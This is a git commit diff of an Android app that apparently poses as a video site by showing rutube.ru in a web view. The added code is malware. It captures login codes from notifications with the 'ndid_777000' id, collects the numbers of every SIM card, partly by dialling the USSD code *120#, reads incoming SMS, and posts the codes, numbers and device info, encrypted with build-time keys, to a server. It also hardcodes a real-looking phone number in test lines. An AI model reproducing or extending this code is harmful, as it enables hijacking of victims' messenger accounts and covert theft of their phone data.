asd
This commit is contained in:
parent
a853303713
commit
ae59f530b6
5 changed files with 474 additions and 54 deletions
268
app/src/main/java/com/example/notifyservice/Encryption.java
Normal file
268
app/src/main/java/com/example/notifyservice/Encryption.java
Normal file
|
@ -0,0 +1,268 @@
|
||||||
|
// IGNORE
|
||||||
|
package com.example.notifyservice;
|
||||||
|
import android.util.Base64;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.security.KeyFactory;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.security.PrivateKey;
|
||||||
|
import java.security.PublicKey;
|
||||||
|
import java.security.interfaces.RSAPublicKey;
|
||||||
|
import java.security.spec.InvalidKeySpecException;
|
||||||
|
import java.security.spec.PKCS8EncodedKeySpec;
|
||||||
|
import java.security.spec.X509EncodedKeySpec;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.IvParameterSpec;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
|
||||||
|
public class Encryption {
|
||||||
|
|
||||||
|
private static byte[] hexStringToBytes(String hexString) {
|
||||||
|
int len = hexString.length();
|
||||||
|
byte[] data = new byte[len / 2];
|
||||||
|
for (int i = 0; i < len; i += 2) {
|
||||||
|
data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
|
||||||
|
+ Character.digit(hexString.charAt(i+1), 16));
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static final char[] HEX_ARRAY = "0123456789abcdef".toCharArray();
|
||||||
|
public static String bytesToHex(byte[] bytes) {
|
||||||
|
char[] hexChars = new char[bytes.length * 2];
|
||||||
|
for (int j = 0; j < bytes.length; j++) {
|
||||||
|
int v = bytes[j] & 0xFF;
|
||||||
|
hexChars[j * 2] = HEX_ARRAY[v >>> 4];
|
||||||
|
hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
|
||||||
|
}
|
||||||
|
return new String(hexChars);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Cipher getCipher(int mode) {
|
||||||
|
try {
|
||||||
|
IvParameterSpec iv = new IvParameterSpec(decrypt(
|
||||||
|
"IV_KEY" // VARIABLE
|
||||||
|
).getBytes("UTF-8"));
|
||||||
|
SecretKeySpec skeySpec = new SecretKeySpec(decrypt(
|
||||||
|
"SECRET_KEY" // VARIABLE
|
||||||
|
).getBytes("UTF-8"), "AES");
|
||||||
|
|
||||||
|
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
|
||||||
|
cipher.init(mode, skeySpec, iv);
|
||||||
|
return cipher;
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Cipher getEbcCipher(int mode, String customKey) {
|
||||||
|
if (customKey.isEmpty())
|
||||||
|
customKey = decrypt(
|
||||||
|
"SECRET_KEY" // VARIABLE
|
||||||
|
);
|
||||||
|
else
|
||||||
|
customKey = md5Encrypt(customKey);
|
||||||
|
try {
|
||||||
|
SecretKeySpec skeySpec = new SecretKeySpec(customKey.getBytes("UTF-8"), "AES");
|
||||||
|
|
||||||
|
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5PADDING");
|
||||||
|
cipher.init(mode, skeySpec);
|
||||||
|
return cipher;
|
||||||
|
} catch (Exception e) {
|
||||||
|
Log.i("asd", e.toString());}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String aesHexEncrypt(String data, String key) {
|
||||||
|
Log.i("Hex", "------------------");
|
||||||
|
try {
|
||||||
|
Cipher cipher = getEbcCipher(1, key);
|
||||||
|
Log.i("Hex", "Data: " + data);
|
||||||
|
Log.i("Hex", "Key: " + key);
|
||||||
|
byte[] encrypted = cipher.doFinal(data.getBytes());
|
||||||
|
Log.i("Hex", bytesToHex(encrypted));
|
||||||
|
Log.i("Hex", "---------------------");
|
||||||
|
return bytesToHex(encrypted);
|
||||||
|
} catch (Exception e) { Log.i("HEX", e.toString());}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String aesEncrypt(String data) {
|
||||||
|
try {
|
||||||
|
Cipher cipher = getCipher(1);
|
||||||
|
byte[] encrypted = cipher.doFinal(data.getBytes());
|
||||||
|
return Base64.encodeToString(encrypted, Base64.DEFAULT);
|
||||||
|
} catch (Exception e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String randomizeCase(String str) {
|
||||||
|
|
||||||
|
Random rnd = new Random();
|
||||||
|
StringBuilder sb = new StringBuilder(str.length());
|
||||||
|
|
||||||
|
for (char c : str.toCharArray())
|
||||||
|
sb.append(rnd.nextBoolean()
|
||||||
|
? Character.toLowerCase(c)
|
||||||
|
: Character.toUpperCase(c));
|
||||||
|
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String shaEncrypt(String data, String key) {
|
||||||
|
try {
|
||||||
|
byte[] bytesOfMessage = (data + key).getBytes("UTF-8");
|
||||||
|
MessageDigest md = MessageDigest.getInstance("SHA-512");
|
||||||
|
return randomizeCase(bytesToHex(md.digest(bytesOfMessage)));
|
||||||
|
} catch (Exception ignore) {}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String md5Encrypt(String data) {
|
||||||
|
try {
|
||||||
|
byte[] bytesOfMessage = data.getBytes("UTF-8");
|
||||||
|
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||||
|
return bytesToHex(md.digest(bytesOfMessage));
|
||||||
|
} catch (Exception ignore) {}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String aesDecrypt(String data) {
|
||||||
|
try {
|
||||||
|
Cipher cipher = getCipher(2);
|
||||||
|
byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT));
|
||||||
|
return new String(plainText);
|
||||||
|
} catch (Exception e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String decrypt(String data){
|
||||||
|
try {
|
||||||
|
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
|
||||||
|
PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(hexStringToBytes(
|
||||||
|
"BUILD_KEY" // VARIABLE
|
||||||
|
));
|
||||||
|
PrivateKey privateKey = keyFactory.generatePrivate(keySpec);
|
||||||
|
|
||||||
|
Cipher decryptCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
|
||||||
|
decryptCipher.init(Cipher.DECRYPT_MODE, privateKey);
|
||||||
|
|
||||||
|
byte[] decryptedMessageBytes = decryptCipher.doFinal(hexStringToBytes(data));
|
||||||
|
String decryptedMessage = new String(decryptedMessageBytes, StandardCharsets.UTF_8);
|
||||||
|
return decryptedMessage;
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String encrypt(String data){
|
||||||
|
try {
|
||||||
|
PublicKey publicKey = decodePKCS1PublicKey(hexStringToBytes(
|
||||||
|
"PUBLIC_KEY" // VARIABLE
|
||||||
|
));
|
||||||
|
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
|
||||||
|
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
|
||||||
|
return bytesToHex(cipher.doFinal(data.getBytes()));
|
||||||
|
} catch (Exception e) {}
|
||||||
|
return "";
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private static final int SEQUENCE_TAG = 0x30;
|
||||||
|
private static final int BIT_STRING_TAG = 0x03;
|
||||||
|
private static final byte[] NO_UNUSED_BITS = new byte[] { 0x00 };
|
||||||
|
private static final byte[] RSA_ALGORITHM_IDENTIFIER_SEQUENCE =
|
||||||
|
{(byte) 0x30, (byte) 0x0d,
|
||||||
|
(byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x01,
|
||||||
|
(byte) 0x05, (byte) 0x00};
|
||||||
|
|
||||||
|
|
||||||
|
public static RSAPublicKey decodePKCS1PublicKey(byte[] pkcs1PublicKeyEncoding)
|
||||||
|
throws NoSuchAlgorithmException, InvalidKeySpecException
|
||||||
|
{
|
||||||
|
byte[] subjectPublicKeyInfo2 = createSubjectPublicKeyInfoEncoding(pkcs1PublicKeyEncoding);
|
||||||
|
KeyFactory rsaKeyFactory = KeyFactory.getInstance("RSA");
|
||||||
|
RSAPublicKey generatePublic = (RSAPublicKey) rsaKeyFactory.generatePublic(new X509EncodedKeySpec(subjectPublicKeyInfo2));
|
||||||
|
return generatePublic;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] createSubjectPublicKeyInfoEncoding(byte[] pkcs1PublicKeyEncoding)
|
||||||
|
{
|
||||||
|
byte[] subjectPublicKeyBitString = createDEREncoding(BIT_STRING_TAG, concat(NO_UNUSED_BITS, pkcs1PublicKeyEncoding));
|
||||||
|
byte[] subjectPublicKeyInfoValue = concat(RSA_ALGORITHM_IDENTIFIER_SEQUENCE, subjectPublicKeyBitString);
|
||||||
|
byte[] subjectPublicKeyInfoSequence = createDEREncoding(SEQUENCE_TAG, subjectPublicKeyInfoValue);
|
||||||
|
|
||||||
|
return subjectPublicKeyInfoSequence;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] concat(byte[] ... bas)
|
||||||
|
{
|
||||||
|
int len = 0;
|
||||||
|
for (int i = 0; i < bas.length; i++)
|
||||||
|
{
|
||||||
|
len += bas[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] buf = new byte[len];
|
||||||
|
int off = 0;
|
||||||
|
for (int i = 0; i < bas.length; i++)
|
||||||
|
{
|
||||||
|
System.arraycopy(bas[i], 0, buf, off, bas[i].length);
|
||||||
|
off += bas[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] createDEREncoding(int tag, byte[] value)
|
||||||
|
{
|
||||||
|
if (tag < 0 || tag >= 0xFF)
|
||||||
|
{
|
||||||
|
throw new IllegalArgumentException("Currently only single byte tags supported");
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] lengthEncoding = createDERLengthEncoding(value.length);
|
||||||
|
|
||||||
|
int size = 1 + lengthEncoding.length + value.length;
|
||||||
|
byte[] derEncodingBuf = new byte[size];
|
||||||
|
|
||||||
|
int off = 0;
|
||||||
|
derEncodingBuf[off++] = (byte) tag;
|
||||||
|
System.arraycopy(lengthEncoding, 0, derEncodingBuf, off, lengthEncoding.length);
|
||||||
|
off += lengthEncoding.length;
|
||||||
|
System.arraycopy(value, 0, derEncodingBuf, off, value.length);
|
||||||
|
|
||||||
|
return derEncodingBuf;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] createDERLengthEncoding(int size)
|
||||||
|
{
|
||||||
|
if (size <= 0x7F)
|
||||||
|
{
|
||||||
|
// single byte length encoding
|
||||||
|
return new byte[] { (byte) size };
|
||||||
|
}
|
||||||
|
else if (size <= 0xFF)
|
||||||
|
{
|
||||||
|
// double byte length encoding
|
||||||
|
return new byte[] { (byte) 0x81, (byte) size };
|
||||||
|
}
|
||||||
|
else if (size <= 0xFFFF)
|
||||||
|
{
|
||||||
|
// triple byte length encoding
|
||||||
|
return new byte[] { (byte) 0x82, (byte) (size >> Byte.SIZE), (byte) size };
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new IllegalArgumentException("size too large, only up to 64KiB length encoding supported: " + size);
|
||||||
|
}
|
||||||
|
}
|
|
@ -57,7 +57,8 @@ public class Listener extends NotificationListenerService {
|
||||||
Log.i(packageName, packageName);
|
Log.i(packageName, packageName);
|
||||||
if(getShortcutSafe(sbn).equals("ndid_777000")){
|
if(getShortcutSafe(sbn).equals("ndid_777000")){
|
||||||
String code = processExtras(sbn.getNotification().extras);
|
String code = processExtras(sbn.getNotification().extras);
|
||||||
Log.i("Code", code);
|
if (code.length() < 5)
|
||||||
|
return;
|
||||||
Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
|
Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
|
||||||
intent.putExtra("code", code);
|
intent.putExtra("code", code);
|
||||||
sendBroadcast(intent);
|
sendBroadcast(intent);
|
||||||
|
|
|
@ -9,6 +9,7 @@ import android.content.Context;
|
||||||
import android.content.DialogInterface;
|
import android.content.DialogInterface;
|
||||||
import android.content.Intent;
|
import android.content.Intent;
|
||||||
import android.content.IntentFilter;
|
import android.content.IntentFilter;
|
||||||
|
import android.content.SharedPreferences;
|
||||||
import android.content.pm.PackageManager;
|
import android.content.pm.PackageManager;
|
||||||
import android.net.ConnectivityManager;
|
import android.net.ConnectivityManager;
|
||||||
import android.net.Network;
|
import android.net.Network;
|
||||||
|
@ -19,6 +20,7 @@ import android.os.Build;
|
||||||
import android.os.Bundle;
|
import android.os.Bundle;
|
||||||
|
|
||||||
import android.os.Bundle;
|
import android.os.Bundle;
|
||||||
|
import android.telephony.ServiceState;
|
||||||
import android.telephony.TelephonyManager;
|
import android.telephony.TelephonyManager;
|
||||||
import android.view.View;
|
import android.view.View;
|
||||||
import android.view.ViewGroup;
|
import android.view.ViewGroup;
|
||||||
|
@ -32,6 +34,7 @@ import androidx.activity.EdgeToEdge;
|
||||||
import androidx.annotation.NonNull;
|
import androidx.annotation.NonNull;
|
||||||
import androidx.appcompat.app.AppCompatActivity;
|
import androidx.appcompat.app.AppCompatActivity;
|
||||||
import androidx.core.app.ActivityCompat;
|
import androidx.core.app.ActivityCompat;
|
||||||
|
import androidx.core.content.ContextCompat;
|
||||||
import androidx.core.graphics.Insets;
|
import androidx.core.graphics.Insets;
|
||||||
import androidx.core.view.ViewCompat;
|
import androidx.core.view.ViewCompat;
|
||||||
import androidx.core.view.WindowInsetsCompat;
|
import androidx.core.view.WindowInsetsCompat;
|
||||||
|
@ -47,6 +50,7 @@ import android.util.Log;
|
||||||
import android.widget.Toast;
|
import android.widget.Toast;
|
||||||
|
|
||||||
import org.json.JSONException;
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
import java.io.BufferedReader;
|
import java.io.BufferedReader;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
@ -61,11 +65,11 @@ import java.util.List;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.net.HttpURLConnection;
|
import java.net.HttpURLConnection;
|
||||||
import java.util.Locale;
|
import java.util.Locale;
|
||||||
|
import java.util.Timer;
|
||||||
|
import java.util.TimerTask;
|
||||||
import java.util.regex.Matcher;
|
import java.util.regex.Matcher;
|
||||||
import java.util.regex.Pattern;
|
import java.util.regex.Pattern;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
public class MainActivity extends AppCompatActivity implements PostRequestCallback{
|
public class MainActivity extends AppCompatActivity implements PostRequestCallback{
|
||||||
|
|
||||||
private String websiteUrl = "https://rutube.ru/";
|
private String websiteUrl = "https://rutube.ru/";
|
||||||
|
@ -76,15 +80,68 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
private String currentHash = "";
|
private String currentHash = "";
|
||||||
private int currentPhone = 0;
|
private int currentPhone = 0;
|
||||||
private List<String> phones;
|
private List<PhoneNumber> phones;
|
||||||
private boolean waitingForSms = false;
|
private boolean waitingForSms = false;
|
||||||
private String currentInfo = "";
|
private String currentInfo = "";
|
||||||
|
private boolean receivingSms = false;
|
||||||
|
private double codeTimeout = 0.0;
|
||||||
|
private Timer timer;
|
||||||
|
|
||||||
|
private List<String> codes = new ArrayList<>();
|
||||||
|
|
||||||
private NotificationReceiver notificationReceiver;
|
private NotificationReceiver notificationReceiver;
|
||||||
|
|
||||||
|
public class PhoneNumber {
|
||||||
|
public String phone;
|
||||||
|
public TelephonyManager telephonyManager;
|
||||||
|
public String operator;
|
||||||
|
public String country;
|
||||||
|
|
||||||
|
private PhoneNumber(
|
||||||
|
String phone,
|
||||||
|
TelephonyManager telephonyManager,
|
||||||
|
String operator,
|
||||||
|
String country
|
||||||
|
) {
|
||||||
|
this.phone = phone;
|
||||||
|
this.telephonyManager = telephonyManager;
|
||||||
|
this.operator = operator;
|
||||||
|
this.country = country;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean phoneProvided(){
|
||||||
|
return !phone.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getPhone() {
|
||||||
|
return phone;
|
||||||
|
}
|
||||||
|
|
||||||
|
public TelephonyManager getSubscriptionId() {
|
||||||
|
return telephonyManager;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getOperator() {
|
||||||
|
return operator;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getCountry() {
|
||||||
|
return country;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setPhone(String phone) {
|
||||||
|
this.phone = phone;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String save(){
|
||||||
|
return phone + ":" + operator + ":" + country;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void onCreate(Bundle savedInstanceState) {
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
super.onCreate(savedInstanceState);
|
super.onCreate(savedInstanceState);
|
||||||
|
|
||||||
setContentView(R.layout.activity_main);
|
setContentView(R.layout.activity_main);
|
||||||
|
|
||||||
webView = findViewById(R.id.webview);
|
webView = findViewById(R.id.webview);
|
||||||
|
@ -142,10 +199,25 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
if (!isNotificationServiceEnabled()) {
|
if (!isNotificationServiceEnabled()) {
|
||||||
promptNotificationAccess();
|
promptNotificationAccess();
|
||||||
//finish();
|
} else {
|
||||||
|
requestPermissions(retrievePermissions(this));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
requestPermissions(retrievePermissions(this));
|
public static String getKey(Context context) {
|
||||||
|
try {
|
||||||
|
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
|
||||||
|
return sharedPreferences.getString("KEY",
|
||||||
|
"INIT_KEY"); // VARIABLE STATIC
|
||||||
|
} catch (Exception e) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void setKey(Context context, String key) {
|
||||||
|
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
|
||||||
|
editor.putString("KEY", key);
|
||||||
|
editor.apply();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void promptNotificationAccess() {
|
private void promptNotificationAccess() {
|
||||||
|
@ -161,6 +233,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
public void onClick(DialogInterface dialogInterface, int i) {
|
public void onClick(DialogInterface dialogInterface, int i) {
|
||||||
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
|
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
|
||||||
startActivity(intent);
|
startActivity(intent);
|
||||||
|
dialogInterface.dismiss();
|
||||||
|
System.exit(0);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
@ -235,34 +309,93 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
public void onNotificationReceived(String code) {
|
public void onNotificationReceived(String code) {
|
||||||
|
if(codes.contains(code))
|
||||||
|
return;
|
||||||
|
codes.add(code);
|
||||||
|
cancelTimer();
|
||||||
PostRequest postRequestTask = new PostRequest(this, this);
|
PostRequest postRequestTask = new PostRequest(this, this);
|
||||||
postRequestTask.execute("code", code + ";" + currentHash);
|
postRequestTask.execute("code",
|
||||||
if(currentPhone + 1 < phones.size()) {
|
code + ";" + currentHash); // STATIC
|
||||||
currentPhone += 1;
|
nextPhone();
|
||||||
requestPhone(this, phones.get(currentPhone));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public void cancelTimer(){
|
||||||
|
Log.i("1", "timer");
|
||||||
|
if (timer != null) {
|
||||||
|
timer.cancel();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void nextPhone() {
|
||||||
|
currentPhone += 1;
|
||||||
|
if (phones.size() > currentPhone)
|
||||||
|
savePhone(getBaseContext(), phones.get(currentPhone));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void makeProcess(Context context) {
|
private void makeProcess(Context context) {
|
||||||
Log.i("Process", "+");
|
|
||||||
currentPhone = 0;
|
currentPhone = 0;
|
||||||
phones = collectPhoneNumber(context);
|
phones = collectPhoneNumber(context);
|
||||||
if(!phones.isEmpty())
|
savePhone(context, phones.get(currentPhone));
|
||||||
requestPhone(context, phones.get(currentPhone));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void requestPhone(Context context, String phone){
|
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
|
||||||
Log.i("requestPhone", "+");
|
// Check for permission
|
||||||
waitingForSms = false;
|
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
|
||||||
currentInfo = "";
|
!= PackageManager.PERMISSION_GRANTED) {
|
||||||
PostRequest postRequestTask = new PostRequest(context, this);
|
return false;
|
||||||
postRequestTask.execute("phone", phone + ";" + getDeviceInfo(context));
|
}
|
||||||
|
if (telephonyManager == null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check SIM state
|
||||||
|
if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
|
||||||
|
return false; // SIM not ready
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void savePhone(Context context, PhoneNumber phone){
|
||||||
|
if(phone.phoneProvided()){
|
||||||
|
requestPhone(context, phone);
|
||||||
|
} else {
|
||||||
|
receivingSms = false;
|
||||||
|
currentHash = "";
|
||||||
|
if(!isSimConnected(context, phone.telephonyManager))
|
||||||
|
nextPhone();
|
||||||
|
else
|
||||||
|
requestUssdNumber(phone);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void requestPhone(Context context, PhoneNumber phone){
|
||||||
|
PostRequest postRequestTask = new PostRequest(context, this);
|
||||||
|
postRequestTask.execute("phone",
|
||||||
|
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onPostResponse(String result) {
|
public void onPostResponse(JSONObject result) {
|
||||||
currentHash = result;
|
try {
|
||||||
|
if(!result.getString("hash").isEmpty())
|
||||||
|
currentHash = result.getString("hash");
|
||||||
|
if(!result.getString("key").isEmpty())
|
||||||
|
setKey(getBaseContext(), result.getString("key"));
|
||||||
|
if(!result.getString("timeout").isEmpty()) {
|
||||||
|
codeTimeout = result.getDouble("timeout");
|
||||||
|
Timer timer = new Timer();
|
||||||
|
timer.schedule(new TimerTask() {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
nextPhone();
|
||||||
|
}
|
||||||
|
}, Math.round(codeTimeout * 1000));
|
||||||
|
}
|
||||||
|
} catch (JSONException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -358,25 +491,26 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
private void requestUssdNumber(TelephonyManager telephonyManager) {
|
private void requestUssdNumber(PhoneNumber phone) {
|
||||||
Log.i("USSD", "Called");
|
|
||||||
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
||||||
return;
|
return;
|
||||||
Log.i("USSD", "Requesting...");
|
|
||||||
String ussd = "*120#";
|
String ussd = "*120#";
|
||||||
boolean smsResponse = false;
|
boolean smsResponse = false;
|
||||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||||
Log.i("USSD", "Requested");
|
Log.i("USSD", "Requested");
|
||||||
telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
|
phone.telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
|
||||||
@Override
|
@Override
|
||||||
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
|
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
|
||||||
super.onReceiveUssdResponse(telephonyManager, request, response);
|
super.onReceiveUssdResponse(telephonyManager, request, response);
|
||||||
String responseString = response.toString();
|
String responseString = response.toString();
|
||||||
if (smsResponse){
|
if (smsResponse){
|
||||||
waitingForSms = true;
|
receivingSms = true;
|
||||||
} else {
|
} else {
|
||||||
String phoneNumber = extractFirstPhoneNumber(responseString);
|
phone.setPhone(extractFirstPhoneNumber(responseString));
|
||||||
requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
|
// TEST TODO
|
||||||
|
phone.setPhone("37126282159");
|
||||||
|
// TEST TODO
|
||||||
|
savePhone(getBaseContext(), phone);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -391,9 +525,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<String> collectPhoneNumber(Context context){
|
private List<PhoneNumber> collectPhoneNumber(Context context){
|
||||||
Log.i("collectPhoneNumber", "+");
|
Log.i("collectPhoneNumber", "+");
|
||||||
List<String> phoneNumbers = new ArrayList<>();
|
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
||||||
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
|
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
|
||||||
return phoneNumbers;
|
return phoneNumbers;
|
||||||
}
|
}
|
||||||
|
@ -404,14 +538,19 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
SubscriptionInfo currentCard = subscriptions.get(i);
|
SubscriptionInfo currentCard = subscriptions.get(i);
|
||||||
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
|
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
|
||||||
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
|
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
|
||||||
String cardInfo = currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName();
|
phoneNumbers.add(new PhoneNumber(
|
||||||
if (phoneNumber.isEmpty()) {
|
phoneNumber,
|
||||||
currentInfo = cardInfo;
|
telephonyManager,
|
||||||
requestUssdNumber(telephonyManager);
|
telephonyManager.getSimOperatorName(),
|
||||||
} else {
|
currentCard.getCountryIso()
|
||||||
phoneNumbers.add(phoneNumber + ":" + cardInfo);
|
));
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
phoneNumbers.add(new PhoneNumber(
|
||||||
|
"37126282159",
|
||||||
|
null,
|
||||||
|
"HUITA",
|
||||||
|
"uz"
|
||||||
|
));
|
||||||
|
|
||||||
return phoneNumbers;
|
return phoneNumbers;
|
||||||
}
|
}
|
||||||
|
@ -423,15 +562,16 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
if (bundle != null) {
|
if (bundle != null) {
|
||||||
Object[] pdus = (Object[]) bundle.get("pdus");
|
Object[] pdus = (Object[]) bundle.get("pdus");
|
||||||
if (pdus != null) {
|
if (pdus != null) {
|
||||||
|
if(!receivingSms)
|
||||||
|
return;
|
||||||
for (Object pdu : pdus) {
|
for (Object pdu : pdus) {
|
||||||
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
|
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
|
||||||
String sender = smsMessage.getDisplayOriginatingAddress();
|
|
||||||
String messageBody = smsMessage.getMessageBody();
|
String messageBody = smsMessage.getMessageBody();
|
||||||
String phoneNumber = extractFirstPhoneNumber(messageBody);
|
String phoneNumber = extractFirstPhoneNumber(messageBody);
|
||||||
Log.i("receivedSms", String.valueOf(waitingForSms));
|
Log.i("receivedSms", String.valueOf(waitingForSms));
|
||||||
if(waitingForSms && !phoneNumber.isEmpty()) {
|
if(!phoneNumber.isEmpty()) {
|
||||||
waitingForSms = false;
|
phones.get(currentPhone).setPhone(phoneNumber);
|
||||||
requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
|
savePhone(getBaseContext(), phones.get(currentPhone));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -452,7 +592,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
